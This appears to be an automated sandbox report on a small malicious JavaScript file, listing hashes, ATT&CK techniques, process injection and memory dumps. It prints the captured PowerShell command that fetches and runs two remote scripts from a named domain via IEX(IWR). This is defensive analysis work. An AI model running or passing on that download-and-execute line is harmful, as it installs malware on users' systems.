f2fa65752c20d58faf3a9546ef3a1792565a075e9e64b65a7921875c1300fb37

Analysis

max time kernel
120s
max time network
124s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
12-06-2024 02:33

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General

Target

f2fa65752c20d58faf3a9546ef3a1792565a075e9e64b65a7921875c1300fb37.js
Size

1KB
MD5

b8b73de27d87836914a258507b8066cc
SHA1

bb10873bfb35fb2d7ffb2942bba35d65068f6f70
SHA256

f2fa65752c20d58faf3a9546ef3a1792565a075e9e64b65a7921875c1300fb37
SHA512

085fdbe93fb90614701bd5361933e47e3a2992e9d2fe6379b5e1c60e51628ee05b988ca8fac171d0b11f1485efb21b995f0262097e18708a6b062256d6a66c0b

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2252 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2252 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2252 powershell.exe

pid	process
2252	powershell.exe

pid	process
2252	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2252	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

wscript.exe

description	pid	process	target process
PID 2368 wrote to memory of 2252	2368	wscript.exe	powershell.exe
PID 2368 wrote to memory of 2252	2368	wscript.exe	powershell.exe
PID 2368 wrote to memory of 2252	2368	wscript.exe	powershell.exe
PID 2368 wrote to memory of 2252	2368	wscript.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\f2fa65752c20d58faf3a9546ef3a1792565a075e9e64b65a7921875c1300fb37.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2368

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$env:paths = '7z6CIMQJA0CS'; IEX(IWR -UseBasicParsing 'https://lechiavetteusb.it/imgs/usb/logo/khesariQUXH.ps1'); $vv.SetValue($null, [bool]'RGJU7PGYEPE'); IEX(IWR -UseBasicParsing 'https://lechiavetteusb.it/imgs/usb/logo/wizeninglYZn.ps1')"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2252

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2252-3-0x00000000739F1000-0x00000000739F2000-memory.dmp

Filesize
4KB

Download
memory/2252-4-0x00000000739F0000-0x0000000073F9B000-memory.dmp

Filesize
5.7MB

Download
memory/2252-5-0x00000000739F0000-0x0000000073F9B000-memory.dmp

Filesize
5.7MB

Download
memory/2252-6-0x00000000739F0000-0x0000000073F9B000-memory.dmp

Filesize
5.7MB

Download
memory/2252-7-0x00000000739F0000-0x0000000073F9B000-memory.dmp

Filesize
5.7MB

Download
memory/2252-8-0x00000000739F0000-0x0000000073F9B000-memory.dmp

Filesize
5.7MB

Download